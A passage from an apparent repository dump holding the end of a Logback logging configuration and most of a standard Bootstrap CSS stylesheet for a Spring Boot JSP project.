<pattern>${log.pattern}</pattern>\n        </encoder>\n        <filter class=\"ch.qos.logback.classic.filter.LevelFilter\">\n            <level>DEBUG</level>\n            <onMatch>ACCEPT</onMatch>  \n            <onMismatch>DENY</onMismatch>  \n        </filter>\n\t</appender>\n\t\n\t<!-- INFO -->\n\t<appender name=\"infoAppender\" class=\"ch.qos.logback.core.rolling.RollingFileAppender\">\n\t\t<!-- 文件路径 -->\n\t\t<file>${log.filePath}/boiler_info.log</file>\n\t\t<rollingPolicy class=\"ch.qos.logback.core.rolling.TimeBasedRollingPolicy\">\n\t\t\t<!-- 文件名称 -->\n\t\t\t<fileNamePattern>${log.filePath}/info/boiler_info.%d{yyyy-MM-dd}.log.gz\n\t\t\t</fileNamePattern>\n\t\t\t<!-- 文件最大保存历史数量 -->\n\t\t\t<MaxHistory>${log.maxHistory}</MaxHistory>\n\t\t</rollingPolicy>\n\t\t<encoder>\n            <pattern>${log.pattern}</pattern>\n        </encoder>\n        <filter class=\"ch.qos.logback.classic.filter.LevelFilter\">\n            <level>INFO</level>\n            <onMatch>ACCEPT</onMatch>  \n            <onMismatch>DENY</onMismatch>  \n        </filter>\n\t</appender>\n\t\n\t<!-- ERROR -->\n\t<appender name=\"errorAppender\" class=\"ch.qos.logback.core.rolling.RollingFileAppender\">\n\t\t<!-- 文件路径 -->\n\t\t<file>${log.filePath}/boiler_error.log</file>\n\t\t<rollingPolicy class=\"ch.qos.logback.core.rolling.TimeBasedRollingPolicy\">\n\t\t\t<!-- 文件名称 -->\n\t\t\t<fileNamePattern>${log.filePath}/error/boiler_error.%d{yyyy-MM-dd}.log.gz\n\t\t\t</fileNamePattern>\n\t\t\t<!-- 文件最大保存历史数量 -->\n\t\t\t<MaxHistory>${log.maxHistory}</MaxHistory>\n\t\t</rollingPolicy>\n\t\t<encoder>\n            <pattern>${log.pattern}</pattern>\n        </encoder>\n        <filter class=\"ch.qos.logback.classic.filter.LevelFilter\">\n            <level>ERROR</level>\n            <onMatch>ACCEPT</onMatch>  \n            <onMismatch>DENY</onMismatch>  \n        </filter>\n\t</appender>\n\t\n \n\t<root level=\"info\">\n\t\t<appender-ref ref=\"consoleAppender\" />\n<!-- \t\t<appender-ref ref=\"debugAppender\" /> -->\n<!-- \t\t<appender-ref ref=\"infoAppender\" /> -->\n<!-- \t\t<appender-ref ref=\"errorAppender\" /> -->\n\t</root>\n</configuration>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jsp/src/main/resources/static/assets/css/bootstrap.css",
    "content": "html {\n  font-family: sans-serif;\n  -webkit-text-size-adjust: 100%;\n      -ms-text-size-adjust: 100%;\n}\nbody {\n  margin: 0;\n}\narticle,\naside,\ndetails,\nfigcaption,\nfigure,\nfooter,\nheader,\nhgroup,\nmain,\nnav,\nsection,\nsummary {\n  display: block;\n}\naudio,\ncanvas,\nprogress,\nvideo {\n  display: inline-block;\n  vertical-align: baseline;\n}\naudio:not([controls]) {\n  display: none;\n  height: 0;\n}\n[hidden],\ntemplate {\n  display: none;\n}\na {\n  background: transparent;\n}\na:active,\na:hover {\n  outline: 0;\n}\nabbr[title] {\n  border-bottom: 1px dotted;\n}\nb,\nstrong {\n  font-weight: bold;\n}\ndfn {\n  font-style: italic;\n}\nh1 {\n  margin: .67em 0;\n  font-size: 2em;\n}\nmark {\n  color: #000;\n  background: #ff0;\n}\nsmall {\n  font-size: 80%;\n}\nsub,\nsup {\n  position: relative;\n  font-size: 75%;\n  line-height: 0;\n  vertical-align: baseline;\n}\nsup {\n  top: -.5em;\n}\nsub {\n  bottom: -.25em;\n}\nimg {\n  border: 0;\n}\nsvg:not(:root) {\n  overflow: hidden;\n}\nfigure {\n  margin: 1em 40px;\n}\nhr {\n  height: 0;\n  -moz-box-sizing: content-box;\n       box-sizing: content-box;\n}\npre {\n  overflow: auto;\n}\ncode,\nkbd,\npre,\nsamp {\n  font-family: monospace, monospace;\n  font-size: 1em;\n}\nbutton,\ninput,\noptgroup,\nselect,\ntextarea {\n  margin: 0;\n  font: inherit;\n  color: inherit;\n}\nbutton {\n  overflow: visible;\n}\nbutton,\nselect {\n  text-transform: none;\n}\nbutton,\nhtml input[type=\"button\"],\ninput[type=\"reset\"],\ninput[type=\"submit\"] {\n  -webkit-appearance: button;\n  cursor: pointer;\n}\nbutton[disabled],\nhtml input[disabled] {\n  cursor: default;\n}\nbutton::-moz-focus-inner,\ninput::-moz-focus-inner {\n  padding: 0;\n  border: 0;\n}\ninput {\n  line-height: normal;\n}\ninput[type=\"checkbox\"],\ninput[type=\"radio\"] {\n  box-sizing: border-box;\n  padding: 0;\n}\ninput[type=\"number\"]::-webkit-inner-spin-button,\ninput[type=\"number\"]::-webkit-outer-spin-button {\n  height: auto;\n}\ninput[type=\"search\"] {\n  -webkit-box-sizing: content-box;\n     -moz-box-sizing: content-box;\n          box-sizing: content-box;\n  -webkit-appearance: textfield;\n}\ninput[type=\"search\"]::-webkit-search-cancel-button,\ninput[type=\"search\"]::-webkit-search-decoration {\n  -webkit-appearance: none;\n}\nfieldset {\n  padding: .35em .625em .75em;\n  margin: 0 2px;\n  border: 1px solid #c0c0c0;\n}\nlegend {\n  padding: 0;\n  border: 0;\n}\ntextarea {\n  overflow: auto;\n}\noptgroup {\n  font-weight: bold;\n}\ntable {\n  border-spacing: 0;\n  border-collapse: collapse;\n}\ntd,\nth {\n  padding: 0;\n}\n@media print {\n  * {\n    color: #000 !important;\n    text-shadow: none !important;\n    background: transparent !important;\n    box-shadow: none !important;\n  }\n  a,\n  a:visited {\n    text-decoration: underline;\n  }\n  a[href]:after {\n    content: \" (\" attr(href) \")\";\n  }\n  abbr[title]:after {\n    content: \" (\" attr(title) \")\";\n  }\n  a[href^=\"javascript:\"]:after,\n  a[href^=\"#\"]:after {\n    content: \"\";\n  }\n  pre,\n  blockquote {\n    border: 1px solid #999;\n\n    page-break-inside: avoid;\n  }\n  thead {\n    display: table-header-group;\n  }\n  tr,\n  img {\n    page-break-inside: avoid;\n  }\n  img {\n    max-width: 100% !important;\n  }\n  p,\n  h2,\n  h3 {\n    orphans: 3;\n    widows: 3;\n  }\n  h2,\n  h3 {\n    page-break-after: avoid;\n  }\n  select {\n    background: #fff !important;\n  }\n  .navbar {\n    display: none;\n  }\n  .table td,\n  .table th {\n    background-color: #fff !important;\n  }\n  .btn > .caret,\n  .dropup > .btn > .caret {\n    border-top-color: #000 !important;\n  }\n  .label {\n    border: 1px solid #000;\n  }\n  .table {\n    border-collapse: collapse !important;\n  }\n  .table-bordered th,\n  .table-bordered td {\n    border: 1px solid #ddd !important;\n  }\n}\n* {\n  -webkit-box-sizing: border-box;\n     -moz-box-sizing: border-box;\n          box-sizing: border-box;\n}\n*:before,\n*:after {\n  -webkit-box-sizing: border-box;\n     -moz-box-sizing: border-box;\n          box-sizing: border-box;\n}\nhtml {\n  font-size: 62.5%;\n\n  -webkit-tap-highlight-color: rgba(0, 0, 0, 0);\n}\nbody {\n  font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n  font-size: 14px;\n  line-height: 1.42857143;\n  color: #333;\n  background-color: #fff;\n}\ninput,\nbutton,\nselect,\ntextarea {\n  font-family: inherit;\n  font-size: inherit;\n  line-height: inherit;\n}\na {\n  color: #428bca;\n  text-decoration: none;\n}\na:hover,\na:focus {\n  color: #2a6496;\n  text-decoration: underline;\n}\na:focus {\n  outline: thin dotted;\n  outline: 5px auto -webkit-focus-ring-color;\n  outline-offset: -2px;\n}\nfigure {\n  margin: 0;\n}\nimg {\n  vertical-align: middle;\n}\n.img-responsive,\n.thumbnail > img,\n.thumbnail a > img,\n.carousel-inner > .item > img,\n.carousel-inner > .item > a > img {\n  display: block;\n  max-width: 100%;\n  height: auto;\n}\n.img-rounded {\n  border-radius: 6px;\n}\n.img-thumbnail {\n  display: inline-block;\n  max-width: 100%;\n  height: auto;\n  padding: 4px;\n  line-height: 1.42857143;\n  background-color: #fff;\n  border: 1px solid #ddd;\n  border-radius: 4px;\n  -webkit-transition: all .2s ease-in-out;\n          transition: all .2s ease-in-out;\n}\n.img-circle {\n  border-radius: 50%;\n}\nhr {\n  margin-top: 20px;\n  margin-bottom: 20px;\n  border: 0;\n  border-top: 1px solid #eee;\n}\n.sr-only {\n  position: absolute;\n  width: 1px;\n  height: 1px;\n  padding: 0;\n  margin: -1px;\n  overflow: hidden;\n  clip: rect(0, 0, 0, 0);\n  border: 0;\n}\nh1,\nh2,\nh3,\nh4,\nh5,\nh6,\n.h1,\n.h2,\n.h3,\n.h4,\n.h5,\n.h6 {\n  font-family: inherit;\n  font-weight: 500;\n  line-height: 1.1;\n  color: inherit;\n}\nh1 small,\nh2 small,\nh3 small,\nh4 small,\nh5 small,\nh6 small,\n.h1 small,\n.h2 small,\n.h3 small,\n.h4 small,\n.h5 small,\n.h6 small,\nh1 .small,\nh2 .small,\nh3 .small,\nh4 .small,\nh5 .small,\nh6 .small,\n.h1 .small,\n.h2 .small,\n.h3 .small,\n.h4 .small,\n.h5 .small,\n.h6 .small {\n  font-weight: normal;\n  line-height: 1;\n  color: #999;\n}\nh1,\n.h1,\nh2,\n.h2,\nh3,\n.h3 {\n  margin-top: 20px;\n  margin-bottom: 10px;\n}\nh1 small,\n.h1 small,\nh2 small,\n.h2 small,\nh3 small,\n.h3 small,\nh1 .small,\n.h1 .small,\nh2 .small,\n.h2 .small,\nh3 .small,\n.h3 .small {\n  font-size: 65%;\n}\nh4,\n.h4,\nh5,\n.h5,\nh6,\n.h6 {\n  margin-top: 10px;\n  margin-bottom: 10px;\n}\nh4 small,\n.h4 small,\nh5 small,\n.h5 small,\nh6 small,\n.h6 small,\nh4 .small,\n.h4 .small,\nh5 .small,\n.h5 .small,\nh6 .small,\n.h6 .small {\n  font-size: 75%;\n}\nh1,\n.h1 {\n  font-size: 36px;\n}\nh2,\n.h2 {\n  font-size: 30px;\n}\nh3,\n.h3 {\n  font-size: 24px;\n}\nh4,\n.h4 {\n  font-size: 18px;\n}\nh5,\n.h5 {\n  font-size: 14px;\n}\nh6,\n.h6 {\n  font-size: 12px;\n}\np {\n  margin: 0 0 10px;\n}\n.lead {\n  margin-bottom: 20px;\n  font-size: 16px;\n  font-weight: 200;\n  line-height: 1.4;\n}\n@media (min-width: 768px) {\n  .lead {\n    font-size: 21px;\n  }\n}\nsmall,\n.small {\n  font-size: 85%;\n}\ncite {\n  font-style: normal;\n}\n.text-left {\n  text-align: left;\n}\n.text-right {\n  text-align: right;\n}\n.text-center {\n  text-align: center;\n}\n.text-justify {\n  text-align: justify;\n}\n.text-muted {\n  color: #999;\n}\n.text-primary {\n  color: #428bca;\n}\na.text-primary:hover {\n  color: #3071a9;\n}\n.text-success {\n  color: #3c763d;\n}\na.text-success:hover {\n  color: #2b542c;\n}\n.text-info {\n  color: #31708f;\n}\na.text-info:hover {\n  color: #245269;\n}\n.text-warning {\n  color: #8a6d3b;\n}\na.text-warning:hover {\n  color: #66512c;\n}\n.text-danger {\n  color: #a94442;\n}\na.text-danger:hover {\n  color: #843534;\n}\n.bg-primary {\n  color: #fff;\n  background-color: #428bca;\n}\na.bg-primary:hover {\n  background-color: #3071a9;\n}\n.bg-success {\n  background-color: #dff0d8;\n}\na.bg-success:hover {\n  background-color: #c1e2b3;\n}\n.bg-info {\n  background-color: #d9edf7;\n}\na.bg-info:hover {\n  background-color: #afd9ee;\n}\n.bg-warning {\n  background-color: #fcf8e3;\n}\na.bg-warning:hover {\n  background-color: #f7ecb5;\n}\n.bg-danger {\n  background-color: #f2dede;\n}\na.bg-danger:hover {\n  background-color: #e4b9b9;\n}\n.page-header {\n  padding-bottom: 9px;\n  margin: 40px 0 20px;\n  border-bottom: 1px solid #eee;\n}\nul,\nol {\n  margin-top: 0;\n  margin-bottom: 10px;\n}\nul ul,\nol ul,\nul ol,\nol ol {\n  margin-bottom: 0;\n}\n.list-unstyled {\n  padding-left: 0;\n  list-style: none;\n}\n.list-inline {\n  padding-left: 0;\n  margin-left: -5px;\n  list-style: none;\n}\n.list-inline > li {\n  display: inline-block;\n  padding-right: 5px;\n  padding-left: 5px;\n}\ndl {\n  margin-top: 0;\n  margin-bottom: 20px;\n}\ndt,\ndd {\n  line-height: 1.42857143;\n}\ndt {\n  font-weight: bold;\n}\ndd {\n  margin-left: 0;\n}\n@media (min-width: 768px) {\n  .dl-horizontal dt {\n    float: left;\n    width: 160px;\n    overflow: hidden;\n    clear: left;\n    text-align: right;\n    text-overflow: ellipsis;\n    white-space: nowrap;\n  }\n  .dl-horizontal dd {\n    margin-left: 180px;\n  }\n}\nabbr[title],\nabbr[data-original-title] {\n  cursor: help;\n  border-bottom: 1px dotted #999;\n}\n.initialism {\n  font-size: 90%;\n  text-transform: uppercase;\n}\nblockquote {\n  padding: 10px 20px;\n  margin: 0 0 20px;\n  font-size: 17.5px;\n  border-left: 5px solid #eee;\n}\nblockquote p:last-child,\nblockquote ul:last-child,\nblockquote ol:last-child {\n  margin-bottom: 0;\n}\nblockquote footer,\nblockquote small,\nblockquote .small {\n  display: block;\n  font-size: 80%;\n  line-height: 1.42857143;\n  color: #999;\n}\nblockquote footer:before,\nblockquote small:before,\nblockquote .small:before {\n  content: '\\2014 \\00A0';\n}\n.blockquote-reverse,\nblockquote.pull-right {\n  padding-right: 15px;\n  padding-left: 0;\n  text-align: right;\n  border-right: 5px solid #eee;\n  border-left: 0;\n}\n.blockquote-reverse footer:before,\nblockquote.pull-right footer:before,\n.blockquote-reverse small:before,\nblockquote.pull-right small:before,\n.blockquote-reverse .small:before,\nblockquote.pull-right .small:before {\n  content: '';\n}\n.blockquote-reverse footer:after,\nblockquote.pull-right footer:after,\n.blockquote-reverse small:after,\nblockquote.pull-right small:after,\n.blockquote-reverse .small:after,\nblockquote.pull-right .small:after {\n  content: '\\00A0 \\2014';\n}\nblockquote:before,\nblockquote:after {\n  content: \"\";\n}\naddress {\n  margin-bottom: 20px;\n  font-style: normal;\n  line-height: 1.42857143;\n}\ncode,\nkbd,\npre,\nsamp {\n  font-family: Menlo, Monaco, Consolas, \"Courier New\", monospace;\n}\ncode {\n  padding: 2px 4px;\n  font-size: 90%;\n  color: #c7254e;\n  white-space: nowrap;\n  background-color: #f9f2f4;\n  border-radius: 4px;\n}\nkbd {\n  padding: 2px 4px;\n  font-size: 90%;\n  color: #fff;\n  background-color: #333;\n  border-radius: 3px;\n  box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .25);\n}\npre {\n  display: block;\n  padding: 9.5px;\n  margin: 0 0 10px;\n  font-size: 13px;\n  line-height: 1.42857143;\n  color: #333;\n  word-break: break-all;\n  word-wrap: break-word;\n  background-color: #f5f5f5;\n  border: 1px solid #ccc;\n  border-radius: 4px;\n}\npre code {\n  padding: 0;\n  font-size: inherit;\n  color: inherit;\n  white-space: pre-wrap;\n  background-color: transparent;\n  border-radius: 0;\n}\n.pre-scrollable {\n  max-height: 340px;\n  overflow-y: scroll;\n}\n.container {\n  padding-right: 15px;\n  padding-left: 15px;\n  margin-right: auto;\n  margin-left: auto;\n}\n@media (min-width: 768px) {\n  .container {\n    width: 750px;\n  }\n}\n@media (min-width: 992px) {\n  .container {\n    width: 970px;\n  }\n}\n@media (min-width: 1200px) {\n  .container {\n    width: 1170px;\n  }\n}\n.container-fluid {\n  padding-right: 15px;\n  padding-left: 15px;\n  margin-right: auto;\n  margin-left: auto;\n}\n.row {\n  margin-right: -15px;\n  margin-left: -15px;\n}\n.col-xs-1, .col-sm-1, .col-md-1, .col-lg-1, .col-xs-2, .col-sm-2, .col-md-2, .col-lg-2, .col-xs-3, .col-sm-3, .col-md-3, .col-lg-3, .col-xs-4, .col-sm-4, .col-md-4, .col-lg-4, .col-xs-5, .col-sm-5, .col-md-5, .col-lg-5, .col-xs-6, .col-sm-6, .col-md-6, .col-lg-6, .col-xs-7, .col-sm-7, .col-md-7, .col-lg-7, .col-xs-8, .col-sm-8, .col-md-8, .col-lg-8, .col-xs-9, .col-sm-9, .col-md-9, .col-lg-9, .col-xs-10, .col-sm-10, .col-md-10, .col-lg-10, .col-xs-11, .col-sm-11, .col-md-11, .col-lg-11, .col-xs-12, .col-sm-12, .col-md-12, .col-lg-12 {\n  position: relative;\n  min-height: 1px;\n  padding-right: 15px;\n  padding-left: 15px;\n}\n.col-xs-1, .col-xs-2, .col-xs-3, .col-xs-4, .col-xs-5, .col-xs-6, .col-xs-7, .col-xs-8, .col-xs-9, .col-xs-10, .col-xs-11, .col-xs-12 {\n  float: left;\n}\n.col-xs-12 {\n  width: 100%;\n}\n.col-xs-11 {\n  width: 91.66666667%;\n}\n.col-xs-10 {\n  width: 83.33333333%;\n}\n.col-xs-9 {\n  width: 75%;\n}\n.col-xs-8 {\n  width: 66.66666667%;\n}\n.col-xs-7 {\n  width: 58.33333333%;\n}\n.col-xs-6 {\n  width: 50%;\n}\n.col-xs-5 {\n  width: 41.66666667%;\n}\n.col-xs-4 {\n  width: 33.33333333%;\n}\n.col-xs-3 {\n  width: 25%;\n}\n.col-xs-2 {\n  width: 16.66666667%;\n}\n.col-xs-1 {\n  width: 8.33333333%;\n}\n.col-xs-pull-12 {\n  right: 100%;\n}\n.col-xs-pull-11 {\n  right: 91.66666667%;\n}\n.col-xs-pull-10 {\n  right: 83.33333333%;\n}\n.col-xs-pull-9 {\n  right: 75%;\n}\n.col-xs-pull-8 {\n  right: 66.66666667%;\n}\n.col-xs-pull-7 {\n  right: 58.33333333%;\n}\n.col-xs-pull-6 {\n  right: 50%;\n}\n.col-xs-pull-5 {\n  right: 41.66666667%;\n}\n.col-xs-pull-4 {\n  right: 33.33333333%;\n}\n.col-xs-pull-3 {\n  right: 25%;\n}\n.col-xs-pull-2 {\n  right: 16.66666667%;\n}\n.col-xs-pull-1 {\n  right: 8.33333333%;\n}\n.col-xs-pull-0 {\n  right: 0;\n}\n.col-xs-push-12 {\n  left: 100%;\n}\n.col-xs-push-11 {\n  left: 91.66666667%;\n}\n.col-xs-push-10 {\n  left: 83.33333333%;\n}\n.col-xs-push-9 {\n  left: 75%;\n}\n.col-xs-push-8 {\n  left: 66.66666667%;\n}\n.col-xs-push-7 {\n  left: 58.33333333%;\n}\n.col-xs-push-6 {\n  left: 50%;\n}\n.col-xs-push-5 {\n  left: 41.66666667%;\n}\n.col-xs-push-4 {\n  left: 33.33333333%;\n}\n.col-xs-push-3 {\n  left: 25%;\n}\n.col-xs-push-2 {\n  left: 16.66666667%;\n}\n.col-xs-push-1 {\n  left: 8.33333333%;\n}\n.col-xs-push-0 {\n  left: 0;\n}\n.col-xs-offset-12 {\n  margin-left: 100%;\n}\n.col-xs-offset-11 {\n  margin-left: 91.66666667%;\n}\n.col-xs-offset-10 {\n  margin-left: 83.33333333%;\n}\n.col-xs-offset-9 {\n  margin-left: 75%;\n}\n.col-xs-offset-8 {\n  margin-left: 66.66666667%;\n}\n.col-xs-offset-7 {\n  margin-left: 58.33333333%;\n}\n.col-xs-offset-6 {\n  margin-left: 50%;\n}\n.col-xs-offset-5 {\n  margin-left: 41.66666667%;\n}\n.col-xs-offset-4 {\n  margin-left: 33.33333333%;\n}\n.col-xs-offset-3 {\n  margin-left: 25%;\n}\n.col-xs-offset-2 {\n  margin-left: 16.66666667%;\n}\n.col-xs-offset-1 {\n  margin-left: 8.33333333%;\n}\n.col-xs-offset-0 {\n  margin-left: 0;\n}\n@media (min-width: 768px) {\n  .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12 {\n    float: left;\n  }\n  .col-sm-12 {\n    width: 100%;\n  }\n  .col-sm-11 {\n    width: 91.66666667%;\n  }\n  .col-sm-10 {\n    width: 83.33333333%;\n  }\n  .col-sm-9 {\n    width: 75%;\n  }\n  .col-sm-8 {\n    width: 66.66666667%;\n  }\n  .col-sm-7 {\n    width: 58.33333333%;\n  }\n  .col-sm-6 {\n    width: 50%;\n  }\n  .col-sm-5 {\n    width: 41.66666667%;\n  }\n  .col-sm-4 {\n    width: 33.33333333%;\n  }\n  .col-sm-3 {\n    width: 25%;\n  }\n  .col-sm-2 {\n    width: 16.66666667%;\n  }\n  .col-sm-1 {\n    width: 8.33333333%;\n  }\n  .col-sm-pull-12 {\n    right: 100%;\n  }\n  .col-sm-pull-11 {\n    right: 91.66666667%;\n  }\n  .col-sm-pull-10 {\n    right: 83.33333333%;\n  }\n  .col-sm-pull-9 {\n    right: 75%;\n  }\n  .col-sm-pull-8 {\n    right: 66.66666667%;\n  }\n  .col-sm-pull-7 {\n    right: 58.33333333%;\n  }\n  .col-sm-pull-6 {\n    right: 50%;\n  }\n  .col-sm-pull-5 {\n    right: 41.66666667%;\n  }\n  .col-sm-pull-4 {\n    right: 33.33333333%;\n  }\n  .col-sm-pull-3 {\n    right: 25%;\n  }\n  .col-sm-pull-2 {\n    right: 16.66666667%;\n  }\n  .col-sm-pull-1 {\n    right: 8.33333333%;\n  }\n  .col-sm-pull-0 {\n    right: 0;\n  }\n  .col-sm-push-12 {\n    left: 100%;\n  }\n  .col-sm-push-11 {\n    left: 91.66666667%;\n  }\n  .col-sm-push-10 {\n    left: 83.33333333%;\n  }\n  .col-sm-push-9 {\n    left: 75%;\n  }\n  .col-sm-push-8 {\n    left: 66.66666667%;\n  }\n  .col-sm-push-7 {\n    left: 58.33333333%;\n  }\n  .col-sm-push-6 {\n    left: 50%;\n  }\n  .col-sm-push-5 {\n    left: 41.66666667%;\n  }\n  .col-sm-push-4 {\n    left: 33.33333333%;\n  }\n  .col-sm-push-3 {\n    left: 25%;\n  }\n  .col-sm-push-2 {\n    left: 16.66666667%;\n  }\n  .col-sm-push-1 {\n    left: 8.33333333%;\n  }\n  .col-sm-push-0 {\n    left: 0;\n  }\n  .col-sm-offset-12 {\n    margin-left: 100%;\n  }\n  .col-sm-offset-11 {\n    margin-left: 91.66666667%;\n  }\n  .col-sm-offset-10 {\n    margin-left: 83.33333333%;\n  }\n  .col-sm-offset-9 {\n    margin-left: 75%;\n  }\n  .col-sm-offset-8 {\n    margin-left: 66.66666667%;\n  }\n  .col-sm-offset-7 {\n    margin-left: 58.33333333%;\n  }\n  .col-sm-offset-6 {\n    margin-left: 50%;\n  }\n  .col-sm-offset-5 {\n    margin-left: 41.66666667%;\n  }\n  .col-sm-offset-4 {\n    margin-left: 33.33333333%;\n  }\n  .col-sm-offset-3 {\n    margin-left: 25%;\n  }\n  .col-sm-offset-2 {\n    margin-left: 16.66666667%;\n  }\n  .col-sm-offset-1 {\n    margin-left: 8.33333333%;\n  }\n  .col-sm-offset-0 {\n    margin-left: 0;\n  }\n}\n@media (min-width: 992px) {\n  .col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12 {\n    float: left;\n  }\n  .col-md-12 {\n    width: 100%;\n  }\n  .col-md-11 {\n    width: 91.66666667%;\n  }\n  .col-md-10 {\n    width: 83.33333333%;\n  }\n  .col-md-9 {\n    width: 75%;\n  }\n  .col-md-8 {\n    width: 66.66666667%;\n  }\n  .col-md-7 {\n    width: 58.33333333%;\n  }\n  .col-md-6 {\n    width: 50%;\n  }\n  .col-md-5 {\n    width: 41.66666667%;\n  }\n  .col-md-4 {\n    width: 33.33333333%;\n  }\n  .col-md-3 {\n    width: 25%;\n  }\n  .col-md-2 {\n    width: 16.66666667%;\n  }\n  .col-md-1 {\n    width: 8.33333333%;\n  }\n  .col-md-pull-12 {\n    right: 100%;\n  }\n  .col-md-pull-11 {\n    right: 91.66666667%;\n  }\n  .col-md-pull-10 {\n    right: 83.33333333%;\n  }\n  .col-md-pull-9 {\n    right: 75%;\n  }\n  .col-md-pull-8 {\n    right: 66.66666667%;\n  }\n  .col-md-pull-7 {\n    right: 58.33333333%;\n  }\n  .col-md-pull-6 {\n    right: 50%;\n  }\n  .col-md-pull-5 {\n    right: 41.66666667%;\n  }\n  .col-md-pull-4 {\n    right: 33.33333333%;\n  }\n  .col-md-pull-3 {\n    right: 25%;\n  }\n  .col-md-pull-2 {\n    right: 16.66666667%;\n  }\n  .col-md-pull-1 {\n    right: 8.33333333%;\n  }\n  .col-md-pull-0 {\n    right: 0;\n  }\n  .col-md-push-12 {\n    left: 100%;\n  }\n  .col-md-push-11 {\n    left: 91.66666667%;\n  }\n  .col-md-push-10 {\n    left: 83.33333333%;\n  }\n  .col-md-push-9 {\n    left: 75%;\n  }\n  .col-md-push-8 {\n    left: 66.66666667%;\n  }\n  .col-md-push-7 {\n    left: 58.33333333%;\n  }\n  .col-md-push-6 {\n    left: 50%;\n  }\n  .col-md-push-5 {\n    left: 41.66666667%;\n  }\n  .col-md-push-4 {\n    left: 33.33333333%;\n  }\n  .col-md-push-3 {\n    left: 25%;\n  }\n  .col-md-push-2 {\n    left: 16.66666667%;\n  }\n  .col-md-push-1 {\n    left: 8.33333333%;\n  }\n  .col-md-push-0 {\n    left: 0;\n  }\n  .col-md-offset-12 {\n    margin-left: 100%;\n  }\n  .col-md-offset-11 {\n    margin-left: 91.66666667%;\n  }\n  .col-md-offset-10 {\n    margin-left: 83.33333333%;\n  }\n  .col-md-offset-9 {\n    margin-left: 75%;\n  }\n  .col-md-offset-8 {\n    margin-left: 66.66666667%;\n  }\n  .col-md-offset-7 {\n    margin-left: 58.33333333%;\n  }\n  .col-md-offset-6 {\n    margin-left: 50%;\n  }\n  .col-md-offset-5 {\n    margin-left: 41.66666667%;\n  }\n  .col-md-offset-4 {\n    margin-left: 33.33333333%;\n  }\n  .col-md-offset-3 {\n    margin-left: 25%;\n  }\n  .col-md-offset-2 {\n    margin-left: 16.66666667%;\n  }\n  .col-md-offset-1 {\n    margin-left: 8.33333333%;\n  }\n  .col-md-offset-0 {\n    margin-left: 0;\n  }\n}\n@media (min-width: 1200px) {\n  .col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12 {\n    float: left;\n  }\n  .col-lg-12 {\n    width: 100%;\n  }\n  .col-lg-11 {\n    width: 91.66666667%;\n  }\n  .col-lg-10 {\n    width: 83.33333333%;\n  }\n  .col-lg-9 {\n    width: 75%;\n  }\n  .col-lg-8 {\n    width: 66.66666667%;\n  }\n  .col-lg-7 {\n    width: 58.33333333%;\n  }\n  .col-lg-6 {\n    width: 50%;\n  }\n  .col-lg-5 {\n    width: 41.66666667%;\n  }\n  .col-lg-4 {\n    width: 33.33333333%;\n  }\n  .col-lg-3 {\n    width: 25%;\n  }\n  .col-lg-2 {\n    width: 16.66666667%;\n  }\n  .col-lg-1 {\n    width: 8.33333333%;\n  }\n  .col-lg-pull-12 {\n    right: 100%;\n  }\n  .col-lg-pull-11 {\n    right: 91.66666667%;\n  }\n  .col-lg-pull-10 {\n    right: 83.33333333%;\n  }\n  .col-lg-pull-9 {\n    right: 75%;\n  }\n  .col-lg-pull-8 {\n    right: 66.66666667%;\n  }\n  .col-lg-pull-7 {\n    right: 58.33333333%;\n  }\n  .col-lg-pull-6 {\n    right: 50%;\n  }\n  .col-lg-pull-5 {\n    right: 41.66666667%;\n  }\n  .col-lg-pull-4 {\n    right: 33.33333333%;\n  }\n  .col-lg-pull-3 {\n    right: 25%;\n  }\n  .col-lg-pull-2 {\n    right: 16.66666667%;\n  }\n  .col-lg-pull-1 {\n    right: 8.33333333%;\n  }\n  .col-lg-pull-0 {\n    right: 0;\n  }\n  .col-lg-push-12 {\n    left: 100%;\n  }\n  .col-lg-push-11 {\n    left: 91.66666667%;\n  }\n  .col-lg-push-10 {\n    left: 83.33333333%;\n  }\n  .col-lg-push-9 {\n    left: 75%;\n  }\n  .col-lg-push-8 {\n    left: 66.66666667%;\n  }\n  .col-lg-push-7 {\n    left: 58.33333333%;\n  }\n  .col-lg-push-6 {\n    left: 50%;\n  }\n  .col-lg-push-5 {\n    left: 41.66666667%;\n  }\n  .col-lg-push-4 {\n    left: 33.33333333%;\n  }\n  .col-lg-push-3 {\n    left: 25%;\n  }\n  .col-lg-push-2 {\n    left: 16.66666667%;\n  }\n  .col-lg-push-1 {\n    left: 8.33333333%;\n  }\n  .col-lg-push-0 {\n    left: 0;\n  }\n  .col-lg-offset-12 {\n    margin-left: 100%;\n  }\n  .col-lg-offset-11 {\n    margin-left: 91.66666667%;\n  }\n  .col-lg-offset-10 {\n    margin-left: 83.33333333%;\n  }\n  .col-lg-offset-9 {\n    margin-left: 75%;\n  }\n  .col-lg-offset-8 {\n    margin-left: 66.66666667%;\n  }\n  .col-lg-offset-7 {\n    margin-left: 58.33333333%;\n  }\n  .col-lg-offset-6 {\n    margin-left: 50%;\n  }\n  .col-lg-offset-5 {\n    margin-left: 41.66666667%;\n  }\n  .col-lg-offset-4 {\n    margin-left: 33.33333333%;\n  }\n  .col-lg-offset-3 {\n    margin-left: 25%;\n  }\n  .col-lg-offset-2 {\n    margin-left: 16.66666667%;\n  }\n  .col-lg-offset-1 {\n    margin-left: 8.33333333%;\n  }\n  .col-lg-offset-0 {\n    margin-left: 0;\n  }\n}\ntable {\n  max-width: 100%;\n  background-color: transparent;\n}\nth {\n  text-align: left;\n}\n.table {\n  width: 100%;\n  margin-bottom: 20px;\n}\n.table > thead > tr > th,\n.table > tbody > tr > th,\n.table > tfoot > tr > th,\n.table > thead > tr > td,\n.table > tbody > tr > td,\n.table > tfoot > tr > td {\n  padding: 8px;\n  line-height: 1.42857143;\n  vertical-align: top;\n  border-top: 1px solid #ddd;\n}\n.table > thead > tr > th {\n  vertical-align: bottom;\n  border-bottom: 2px solid #ddd;\n}\n.table > caption + thead > tr:first-child > th,\n.table > 